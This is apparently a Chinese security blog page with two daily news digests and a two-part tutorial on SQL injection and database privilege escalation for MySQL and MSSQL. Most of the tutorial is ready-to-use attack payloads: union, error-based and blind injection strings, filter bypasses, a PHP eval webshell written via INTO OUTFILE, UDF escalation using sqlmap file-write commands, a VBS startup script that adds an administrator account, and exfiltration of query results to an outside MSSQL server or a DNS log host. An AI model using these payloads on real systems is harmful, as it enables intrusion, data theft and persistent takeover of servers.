网络安全日报 2022年08月11日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、NetModule 路由器软件 (NRSW) 中发现新的严重漏洞 https://www.securityweek.com/organizations-warned-critical-vulnerabilities-netmodule-routers 2、英特尔修补固件、管理软件中的严重漏洞 https://www.securityweek.com/intel-patches-severe-vulnerabilities-firmware-management-software 3、UnRAR 漏洞(CVE-2022-30333)被利用,可用于入侵 Zimbra 服务器 https://www.securityweek.com/unrar-vulnerability-exploited-wild-likely-against-zimbra-servers 4、思科披露5月下旬被Yanluowang勒索组织入侵并窃取了内部数据 https://securityaffairs.co/wordpress/134278/hacking/yanluowang-ransomware-hacked-cisco.html 5、Microsoft Edge 通过增强的安全模式加强对恶意网站的防御 https://portswigger.net/daily-swig/microsoft-edge-deepens-defenses-against-malicious-websites-with-enhanced-security-mode 6、研究人员发现10个恶意PyPI包窃取开发者凭据 https://www.bleepingcomputer.com/news/security/10-malicious-pypi-packages-found-stealing-developers-credentials/ 7、Reddit中的IDOR漏洞允许攻击者提权 https://portswigger.net/daily-swig/simple-idor-vulnerability-in-reddit-allowed-mischief-makers-to-perform-mod-actions 8、微软警告称配备最新 CPU 的 Windows 设备容易受到数据损坏 https://www.bleepingcomputer.com/news/microsoft/windows-devices-with-newest-cpus-are-susceptible-to-data-damage/ 9、ChekPoint报告显示全球网络攻击激增 42%,勒索软件成为头号威胁 https://www.ithome.com/0/633/868.htm 10、电子邮件营销公司Klaviyo被攻击,数据已泄露 https://www.bleepingcomputer.com/news/security/email-marketing-firm-hacked-to-steal-crypto-focused-mailing-lists/
数据库注入提权总结(二)
mysql提权 MOF提权 MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003的环境下才可以成功。 提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof目录的话,就可以来执行任意命令了。 经测试win7虽然存在这个文件目录,但是mysql以管理员权限运行,也会提示写入失败。 UDF提权 UDF说白了就是自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用本机函数 version() 等方便。 如果我们添加的自定义函数可以执行系统命令,那么是不是就相当于以mysql的权限去执行系统命令,如果mysql的权限比较高,是不是就可以达到一种权限提升的效果 动态链接库 构建UDF的过程,其实就是调用动态链接库的过程,因此我们首先必须知道动态链接库存放的位置,以及要有合适的动态链接库 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下 如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录 show variables like '%plugin%'; # 查找插件目录 select @@basedir; # 查找 mysql 安装目录 那么动态链接库文件去哪里找呢?实际上我们常用的工具 sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。 sqlmap 的 UDF 动态链接库文件位置 sqlmap根目录/data/udf/mysql 不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py ,解码方法如下: # 解码 32 位的 Linux 动态链接库 ➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so # 解码 64 位的 Linux 动态链接库 ➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so # 解码 32 位的 Windows 动态链接库 ➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll # 解码 64 位的 Windows 动态链接库 ➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll Metasploit的UDF动态链接库文件位置/usr/share/metasploit-framework/data/exploits/mysql 两款工具带的动态链接库是一样的 寻找插件目录 如果不存在的话 select @@basedir; # 寻找MySQL的安装目录 然后通过webshell手动去创建 写入动态链接库 方法一: 当SQL 注入且是高权限,plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入,这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击 sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so" 方法二: 当没有注入点时,我们可以操作原生 SQL 语句,这种情况下当 secure_file_priv 无限制的时候,我们也是可以手工写文件到 plugin 目录下的: # 直接 SELECT 查询十六进制写入 SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'; # 解码十六进制再写入多此一举 SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'; 这里的十六进制怎么获取呢?可以利用 MySQL 自带的 hex 函数来编码: # 直接传入路径编码 SELECT hex(load_file('/lib_mysqludf_sys_64.so')); # 也可以将路径 hex 编码 SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)); 一般为了更方便观察,可以将编码后的结果导入到新的文件中方便观察: SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.txt'; SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)) into dumpfile '/tmp/udf.txt'; 方法三: 当webshell有一定权限时,可以直接通过文件上传的方式,上传对应的dll文件 创建自定义函数并调用命令 CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; select * from mysql.func; 验证是否添加成功 调用该函数,即可以mysql权限执行一些系统命令 删除自定义函数 drop function sys_eval; UDF Shell 方法一:UDF.PHP http://pan.dns.outnet/index.php?mod=shares&sid=R1ZXZ0UwdTJuSjVxZEVxd1JCc0E0TWl1VzZ1NjVOWW91Z3U2RExF& 方法二:ntunnel_mysql.php Navicat内置的php-mysq链接文件,上传到目标网站 对navicat进行如下配置即可: 方法三:蚁剑内置插件 启动项提权 windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。 在windows2003的系统下,启动项路径如下: C:\Documents and Settings\Administrator\「开始」菜单\程序\启动 C:\Documents and Settings\All Users\「开始」菜单\程序\启动 在windows2008的系统下,启动项路径如下: C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup 我们在拿到一个网站的webshell的时候如果想进一步的获得网站的服务器权限,查看服务器上系统盘的可读可写目录,若是启动目录 C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 是可读可写的,我们就可以执行上传一个vbs或者bat的脚本进行提权。 这里使用test.vbs添加用户密码,上传到启动目录重启的时候即可自动添加账号密码 set wshshell=createobject("wscript.shell") a=wshshell.run("cmd.exe /c net user test test123 /add",0) b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0) 通过mysql的话: use mysql; create table test(cmd text); insert into a values(“set wshshell=createobject(“”wscript.shell””)”); insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”); insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”); select * from a into outfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\secist.vbs”; 重启之后可以提权 CVE-2016-6663和CVE-2016-6664 https://www.freebuf.com/articles/web/288941.htmlhttps://lengjibo.github.io/mysqludf/MSSQL MSSQL基础 系统自带库 MSSQL安装后默认带了六个数据库 4个系统库:master、model、tempdb和msdb; 2个示例库:NorthwindTraders和pubs 系统视图表 MSSQL数据库有安装的自带数据表: MSSQL权限控制 服务器角色 可以通过如下语句判断: select is_srvrolemember('sysadmin') 数据库角色 可以通过如下语句判断: select is_member('db_owner') MSSQL常用语句 # 创建数据库 create database [dbname]; create database test; # 删除数据库 drop database [dbname]; drop database test; # 创建新表 create table table_name (name char(10),age tinyint,sex int); # 创建新表前要选择数据库,默认是master库 use test; create table admin (users char(255),passwd char(255),sex int); # 删除新表 drop table table_name; drop table dbo.admin; # 向表中插入数据 insert into table_name (column1,column2) values(value1,value2); insert into admin (users,passwd,sex) values('admin','admin',1); # 删除内容 delete from table_name where column1=value1; delete from admin where sex=2; # 更新内容 update table_name set column2=”xxx” where column1=value1; update admin set users='admintest' where sex=2; # 查找内容 select * from table_name where column1=value1; select passwd from admin where users='admin'; 排序&获取下一条数据 MSSQL数据库中没有limit排序获取字段,但是可以使用top 1来显示数据中的第一条数据, 使用 <> 来排除已经显示的数据,获取下一条数据,也就是不等于的意思。 使用not in来排除已经显示的数据,获取下一条数据 ,后面可以跟一个集合。 # 使用<>获取数据 id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name<>'id' and name<>'username'--+ # 使用not in获取数据 id=-2 union select top 1 1,table_name from information_schema.tables where table_name not in(select top 1 table_name from information_schema.tables)--+ id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name not in('id','username')--+ MSSSQL注释 单行:--空格 多行:/**/ 常用函数 常见注入类型 联合查询注入 1.判断注入点及类型 ?id=1' and 1=1--+ ?id=1' and 1=2--+ # 那么此处是字符型注入,需要单引号闭合 2.判断字段数 ?id=1' order by 3--+ ?id=1' order by 4--+ 3.联合查询判断回显点 ?id=0' union select 1,2,3--+ 4.获取当前数据库名字和版本信息 ?id=0' union select 1,db_name(),@@version--+ 5.获取所有的数据库名,database在较高版本的SQL Server 中已经变成了动态视图 ?id=0' union select 1,db_name(),name from master.sys.databases where name not in(select top 1 name from master.sys.databases)--+ 6.获取所有的表名,当information前面没有库名时,默认查询当前数据库,与mysql不同,每个数据库都有单独的information表,可以用master.information_schema.tables 来查询不同数据库的信息 ?id=0' union select top 1 1,2,table_name from information_schema.tables where table_name not in (select top 1 table_name from information_schema.tables)--+ 7.获取所有的字段名,多加些限定条件方便注入 ?id=0' union select top 1 1,2,column_name from information_schema.columns where column_name not in (select top 1 column_name from information_schema.columns)--+ ?id=0' union select top 1 1,2,column_name from information_schema.columns where table_name='users' and column_name not in(select top 2 column_name from information_schema.columns where table_name='users')-- 8.获取users表账号密码信息 ?id=0' union select top 1 1,username,password from users--+ 报错注入 MSSQL数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入 1.判断注入点 id=1 2.判断是否为MSSQL数据库 # 返回正常为MSSQL id=1 and exists(select * from sysobjects) id=1 and exists(select count(*) from sysobjects) 3.判断数据库版本号 id=1 and @@version>0--+ # @@version是mssql的全局变量,@@version>0执行时转换成数字会报错,也就将数据库信息暴露出来了,必须是在where后面拼接执行 4.获取当前数据库名 and db_name()>0--+ and 1=db_name()--+ # 报错注入的原理就是将其他类型的值转换层int型失败后就会爆出原来语句执行的结果 5.判断当前服务器拥有的权限 and 1=(select IS_SRVROLEMEMBER('sysadmin'))--+ and 1=(select IS_SRVROLEMEMBER('serveradmin'))--+ and 1=(select IS_SRVROLEMEMBER('setupadmin'))--+ and 1=(select IS_SRVROLEMEMBER('securityadmin'))--+ and 1=(select IS_SRVROLEMEMBER('diskadmin'))--+ and 1=(select IS_SRVROLEMEMBER('bulkadmin'))--+ 6.判断当前角色是否为DB_OWNER and 1=(select is_member('db_owner'))--+ # db_owner权限可以通过备份方式向目标网站写文件 7.获取当前用户名 and user_name()>0--+ 8,获取所有数据库名 and (select name from master.sys.databases where database_id=1)>0--+ # 更改database_id的值来获取所有的数据库 9.获取数据库的个数 and 1=(select quotename(count(name)) from master.sys.databases)--+ 10.一次性获取所有数据库库 and 1=(select quotename(name) from master.sys.databases for xml path(''))--+ 11.获取所有的表名 # 获取当前库第一个表 and 1=(select top 1 table_name from information_schema.tables)--+ # 获取当前库第二个表 and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails'))--+ # 获取当前库第三个表 and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails','uagents'))--+ # 也可通过更改top 参数获取表 and 1=(select top 1 table_name from information_schema.tables where table_name not in (select top 5 table_name from information_schema.tables))--+ # quotename和for xml path('')一次性获取全部表 and 1=(select quotename(table_name) from information_schema.tables for xml path(''))--+ # quotename()的主要作用就是在存储过程中,给列名、表名等加个[]、’’等以保证sql语句能正常执行。 12.获取字段名 # 通过top 和 not in 获取字段 and 1=(select top 1 column_name from information_schema.columns where table_name='users')--+ and 1=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id','username'))--+ # 通过quotename 和 for xml path('') 获取字段 and 1=(select quotename(column_name) from information_schema.columns where table_name='emails' for xml path(''))--+ 13.获取表中数据 and 1=(select quotename(username) from users for xml path(''))--+ and 1=(select quotename(password) from users for xml path(''))--+ 布尔盲注 1. 判断注入点   and 1=1 and 1=2 and '1'='1' and '1456'='1456'--+ 2.猜解数据库个数 id=1 and (select count(*) from sys.databases)=7--+        # 存在7个数据库 3.猜解数据库名长度 id=1 and len((select top 1 name from sys.databases))=6--+ # 第一个库名长度为6 id=1 and len(db_name())=4--+                              # 当前数据库名长度为4 4.猜解数据库名 id=1 and ascii(substring(db_name(),1,1))=115--+ # 截取库名第一个字符的ascii码为115——s id=1 and ascii(substring(db_name(),2,1))=113--+ # 截取库名第二个字符的ascii码为113——q # 截取第一个库名第一个字符的ascii码为109——m id=1 and ascii(substring((select top 1 name from sys.databases),1,1))=109--+ # 截取第二个库名第一个字符的ascii码为105——i id=1 and ascii(substring((select top 1 name from sys.databases where name not in ('master')),1,1))=105--+ 5.猜解表名 # 截取当前库的第一个表的第一个字符的ascii码为101——e id=1 and ascii(substring((select top 1 table_name from information_schema.tables),1,1))=101--+ # 截取当前库的第二个表的第一个字符的ascii码为117——u id=1 and ascii(substring((select top 1 table_name from information_schema.tables where table_name not in ('emails')),1,1))=117--+ 6.猜解字段名 # 截取当前库的emails表的第一个字符的ascii码为105——i id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),1,1))=105--+ #截取当前库的emails表的第二个字符的ascii码为100——d id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),2,1))=100--+ 7.猜解表中数据 # username字段的数据第一个字符为D id=1 and ascii(substring((select top 1 username from users),1,1))=68--+ 时间盲注 1.判断是否存在注入 id=1 WAITFOR DELAY '0:0:5'--+ 2.判断权限 # 如果是sysadmin权限,则延时5秒 id=1 if(select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--+ 3.查询当前数据库的长度和名字 # 二分法查询长度 id=1 if(len(db_name()))>40 WAITFOR DELAY '0:0:5'--+ # 查询数据库名字 # substring截取字符串的位置,用ascii转为数字进行二分法查询 id=1 if(ascii(substring(db_name(),1,1)))>50 WAITFOR DELAY '0:0:5'--+ 4.查询数据库的版本 id=1 if(ascii(substring((select @@version),1,1))=77 WAITFOR DELAY '0:0:5'--+ # ascii 77 = M 5.查询表个数,Sysobject 存储了所有表的信息,所有数据库的都放在一起 id=1 if((select count(*) from SysObjects where xtype='u')>5) WAITFOR DELAY '0:0:5'--+ # 当前数据库表的个数为6 6.查询第一个表的长度 # 查询第一个表 id=1 and select top 1 name from SysObjects where xtype='u' # 查询结果为1 (select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') # 利用and,进行判断,9为表长度的猜测 and len(name)=9 # 第一个表名长度为6 id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=9)=1) WAITFOR DELAY '0:0:5'--+ id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=6)=1) WAITFOR DELAY '0:0:10'--+ 7.查询第一个表的表名 id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))>90)=1) WAITFOR DELAY '0:0:5'--+ id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))=101)=1) WAITFOR DELAY '0:0:5'--+ 8.查询第二个表的长度 # 查询第一个表名,去除emails, emails为第一个表名 select top 1 name from SysObjects where xtype='u' and name not in ('emails') # 同理,第三个表则 and name not in ('emails','uagents') id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emials')) and len(name)=6)<>0) WAITFOR DELAY '0:0:5'--+ 9.查询第二个表的名字 id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=1) WAITFOR DELAY '0:0:5'--+ id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=0) WAITFOR DELAY '0:0:5'--+ 10.查询第一个表中的字段 # and name not in ('')查询第二个字段的时候可以直接在其中,排除第一个字段名 id=1 if((select count(*) from syscolumns where name in (select top 1 name from syscolumns where id = object_id('emails') and name not in ('')) and ascii(substring(name,1,1))=1)!=0) WAITFOR DELAY '0:0:1'--+ 11.查询字段类型 id=1 if((select count(*) from information_schema.columns where data_type in(select top 1 data_type from information_schema.columns where table_name ='emails') and ascii(substring(data_type,1,1))=116)!=0) WAITFOR DELAY '0:0:5'--+ 12.查询数据 # 查询所有数据库 SELECT Name FROM Master..SysDatabases ORDER BY Name # 查询存在password字段的表名 SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password' id=1 if((select count(*) from sysobjects where name in ((select name from sysobjects where name in (SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password') and ascii(substring(sysobjects.name,1,1))>1)))>0) waitfor delay '0:0:1'-- # 查询包含pass的字段名 SELECT top 1 name FROM SysColumns where name like '%pass%' id=1 if((select count(*) from SysColumns where name in (SELECT top 1 name FROM SysColumns where name like '%pass%' and ascii(substring(name,1,1))>1))>0) waitfor delay '0:0:1'-- 反弹注入 反弹注入条件相对苛刻一些,一是需要一台搭建了mssql数据库的vps服务器,二是需要开启堆叠注入。 反弹注入需要使用opendatasource函数。 OPENDATASOURCE(provider_name,init_string) 使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。 基本流程 连接vps的mssql数据库,新建表test,字段数与类型要与要查询的数据相同。 CREATE TABLE test(name VARCHAR(255)) 获取数据库所有表,使用反弹注入将数据注入到表中,注意这里填写的是数据库对应的参数,最后通过空格隔开要查询的数据。 # 查询sysobjects表 ?id=1;insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.sysobjects where xtype='U' --+ # 查询information_schema数据库 ?id=1;insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select table_name from information_schema.tables--+ # 查询information_schema数据库 id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select column_name from information_schema.columns where table_name='admin'--+ # 查询syscolumns表 id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.syscolumns where id=1977058079--+
网络安全日报 2022年08月10日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、微软周二修复了118个漏洞,包括一个0day漏洞(CVE-2022-34713) https://www.securityweek.com/already-exploited-zero-day-headlines-microsoft-patch-tuesday 2、VMware确定高危漏洞CVE-2022-31656利用代码已被公开 https://www.securityweek.com/exploit-code-published-critical-vmware-security-flaw 3、研究人员披露了一种新的英特尔 CPU 攻击方法- ÆPIC Leak https://www.securityweek.com/aepic-leak-architectural-bug-intel-cpus-exposes-protected-data 4、 AMD CPU 受"SQUIP"侧信道攻击的影响,可被获取敏感数据 https://www.securityweek.com/amd-processors-expose-sensitive-data-new-squip-attack 5、Adobe发布补丁修复了Acrobat、Reader 中的代码执行漏洞 https://www.securityweek.com/adobe-patch-tuesday-code-execution-flaws-acrobat-reader 6、研究人员将Maui 勒索软件与朝鲜 Andariel APT 关联 https://securityaffairs.co/wordpress/134195/malware/maui-ransomware-andariel-apt.html 7、研究人员在新加坡发现了Classiscam诈骗即服务业务 https://thehackernews.com/2022/08/researchers-uncover-classiscam-scam-as.html 8、黑客使用SHARPEXT浏览器扩展监视Gmail和Aol用户 https://www.hackread.com/nkorea-hackers-sharpext-browser-malware-gmail/ 9、我国 IPv6 网络“高速公路”全面建成:活跃用户达 6.93 亿 https://www.ithome.com/0/633/812.htm 10、以色列警方Pegasus间谍软件原型被曝光 https://www.cnbeta.com/articles/tech/1301271.htm
数据库注入提权总结(一)
MYSQL 基础注入 联合查询 若前面的查询结果不为空,则返回两次查询的值: 若前面的查询结果为空,则只返回union查询的值: 关键字union select 需要字段数对应 常用Payload: # 查询表名 ' union select group_concat(table_name) from information_schema.tables where table_schema=database()%23 # 查询字段名 ' union select group_concat(column_name) from information_schema.columns where table_name='table1'%23 报错注入 报错注入是利用mysql在出错的时候会引出查询信息的特征,常用的报错手段有如下10种: # 修改select user() 字段 获取不同的信息 # 1.floor() select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); # 2.extractvalue() select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); # 3.updatexml() select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)); # 4.geometrycollection() select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b)); # 5.multipoint() select * from test where id=1 and multipoint((select * from(select * from(select user())a)b)); 6.polygon() select * from test where id=1 and polygon((select * from(select * from(select user())a)b)); 7.multipolygon() select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b)); 8.linestring() select * from test where id=1 and linestring((select * from(select * from(select user())a)b)); 9.multilinestring() select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b)); 10.exp() select * from test where id=1 and exp(~(select * from(select user())a)); 布尔盲注 常见的布尔盲注场景有两种,一是返回值只有True或False的类型,二是Order by盲注。 返回值只有True或False的类型 如果查询结果不为空,则返回True(或者是Success之类的),否则返回False 这种注入比较简单,可以挨个猜测表名、字段名和字段值的字符,通过返回结果判断猜测是否正确 例:parameter=’ or ascii(substr((select database()) ,1,1))<115—+ Orderby盲注 order by rand(True)和order by rand(False)的结果排序是不同的,可以根据这个不同来进行盲注: 例:order by rand(database()='pdotest') 返回了True的排序,说明database()=’pdotest’是正确的值 时间盲注 其实大多数页面,即使存在sql注入也基本是不会有回显的,因此这时候就要用延时来判断查询的结果是否正确。 常见的时间盲注有: 1.sleep(x) id=' or sleep(3)%23 id=' or if(ascii(substr(database(),1,1))>114,sleep(3),0)%23 查询结果正确,则延迟3秒,错误则无延时。 2.benchmark() 通过大量运算来模拟延时: id=' or benchmark(10000000,sha(1))%23 id=' or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0)%23 本地测试这个值大约可延时3秒: 3.笛卡尔积 计算笛卡尔积也是通过大量运算模拟延时: select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C select balabala from table1 where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0) 笛卡尔积延时大约也是3秒 HTTP头注入 注入手法和上述相差不多,就是注入点发生了变化 HTTP分割注入 常见场景,登录处SQL语句如下,注释符号被过滤 select xxx from xxx where username=’xxx’ and password=’xxx’# 方法一 username=1' or extractvalue/* password=1*/(1,concat(0x7e,(select database()),0x7e))or' SQL语句最终变为 select xxx from xxx where username='1' or extractvalue/*’ and password=’*/(1,concat(0x7e,(select database()),0x7e))or'' # 方法二 username=1' or if(ascii(substr(database(),1,1))=115,sleep(3),0) or '1 password=1 select * from users where username='1' or if(ascii(substr(database(),1,1))>0,sleep(3),0) or '1' and password='1' 二次注入 二次注入主要出现在update和select结合点,如注册之后在登录 攻击者构造的恶意payload首先会被服务器存储在数据库中,在之后取出数据库在进行SQL语句拼接时产生的SQL注入问题 SQL约束攻击 假如注册时username参数在mysql中为字符串类型,并且有unique属性,设置了长度为VARCHAR(20)。 则我们注册一个username为admin[20个空格]asd的用户名,则在mysql中首先会判断是否有重复,若无重复,则会截取前20个字符加入到数据库中,所以数据库存储的数据为admin[20个空格],而进行登录的时候,SQL语句会忽略空格,因此我们相当于覆写了admin账号。 基础绕过 大小写绕过 用于过滤时没有匹配大小写的情况: SelECt * from table; 双写绕过 用于将禁止的字符直接删掉的过滤情况如: preg_replace(‘/select/‘,’’,input) 则可用seselectlect from xxx来绕过,在删除一个select后剩下的就是select from xxx 绕过空格 当空格被过滤时,可以使用/**/ () %0a %09进行绕过 使用16进制绕过特定字符 如果在查询字段名的时候表名被过滤,或是数据库中某些特定字符被过滤,则可用16进制绕过: select column_name from information_schema.columns where table_name=0x7573657273; 0x7573657273为users的16进制 只能针对表名,字段名等,内置函数关键字,不能使用16进制替代 宽字节、Latin1默认编码 宽字节注入 用于单引号被转义,但编码为gbk编码的情况下,用特殊字符将其与反斜杠合并,构成一个特殊字符: username = %df'# 经gbk解码后变为: select * from users where username ='運'# 成功闭合了单引号。 Latin1编码 Mysql表的编码默认为latin1,如果设置字符集为utf8,则存在一些latin1中有而utf8中没有的字符,而Mysql是如何处理这些字符的呢?直接忽略 于是我们可以输入?username=admin%c2,存储至表中就变为了admin 上面的%c2可以换为%c2-%ef之间的任意字符 常见字符的替代 and -> && or -> || 空格-> /**/ -> %a0 -> %0a -> + # -> --+ -> ;%00(php<=5.3.4) -> or '1'='1 = -> like -> regexp -> <> -> in 注:regexp为正则匹配,利用正则会有些新的注入手段 逗号被过滤 # 用join代替: -1 union select 1,2,3 -1 union select * from (select 1)a join (select 2)b join (select 3)c%23 # limit: limit 2,1 limit 1 offset 2 # substr: substr(database(),5,1) substr(database() from 5 for 1) from为从第几个字符开始,for为截取几个 substr(database() from 5) # 如果for也被过滤了 mid(REVERSE(mid(database()from(-5)))from(-1)) reverse是反转,mid和substr等同 # if: if(database()=’xxx’,sleep(3),1) id=1 and databse()=’xxx’ and sleep(3) select case when database()=’xxx’ then sleep(5) else 0 end limit被过滤 select user from users limit 1 加限制条件,如: select user from users group by user_id having user_id = 1 (user_id是表中的一个column) information_schema被过滤 innodb引擎可用mysql.innodb_table_stats、innodb_index_stats,日志将会把表、键的信息记录到这两个表中 除此之外,系统表sys.schema_table_statistics_with_buffer、sys.schema_auto_increment_columns用于记录查询的缓存,某些情况下可代替information_schema 文件读写 读写权限 在进行MySQL文件读写操作之前要先查看是否拥有权限,mysql文件权限存放于mysql表的file_priv字段,对应不同的User,如果可以读写,则数据库记录为Y,反之为N: 我们可以通过user()查看当前用户是什么,如果对应用户具有读写权限,则往下看,反之则放弃这条路找其他的方法。 除了要查看用户权限,还有一个地方要查看,即secure-file-priv。它是一个系统变量,用于限制读写功能,它的值有三种: (1)无内容,即无限制 (2)为NULL,表示禁止文件读写 (3)为目录名,表示仅能在此目录下读写 该配置项存放在my.ini中,修改之后必须重启mysql重新加载配置文件 读文件 如果满足上述2个条件,则可尝试读写文件了。 常用的读文件的语句有如下几种: select load_file(file_path); load data infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取服务端文件 load data local infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取客户端文件 需要注意的是,file_path必须为绝对路径,且反斜杠需要转义: 写文件 select 1,"<?php eval($_POST['cmd']);?>" into outfile '/var/www/html/1.php'; select 2,"<?php eval($_POST['cmd']);?>" into dumpfile '/var/www/html/1.php'; 当secure_file_priv值为NULL时,可用生成日志的方法绕过: set global general_log_file = '/var/www/html/1.php'; set global general_log = on; 日志除了general_log还有其他许多日志,实际场景中需要有足够的写入日志的权限,且需要堆叠注入的条件方可采用该方法,因此利用非常困难。 DNS外带注入 若用户访问DNS服务器,则会在DNS日志中留下记录。如果请求中带有SQL查询的信息,则信息可被带出到DNS记录中。 利用条件: 1.secure_file_priv为空且有文件读取权限 2.目标为windows(利用了UNC,Linux不可行) 3.无回显且无法时间盲注 利用方法: 可以找一个免费的DNSlog:http://dnslog.cn/ 进入后可获取一个子域名,执行: select load_file(concat('\\',(select database()),'.子域名.dnslog.cn')); 相当于访问了select database().子域名.dnslog.cn,于是会留下DNSLOG记录,可从这些记录中查看SQL返回的信息。 mysql getshell 文件导出函数GetShell 利用条件 数据库当前用户为root权限 知道当前网站的绝对路径 PHP的GPC为off状态 写入的那个歌路径存在写入权限 基于联合查询时 ?id=1 union select 1,'<?php phpinfo();?>',3 into outfile '网站根目录绝对路径'-- qwe ?id=1 union select 1,'<?php phpinfo();?>',3 into dumpfile '网站根目录绝对路径'-- qwe 非联合查询 ?id=1 into outfile '网站根目录绝对路径' FIELDS TERMINATED BY '<?php phpinfo();?>'-- qwe 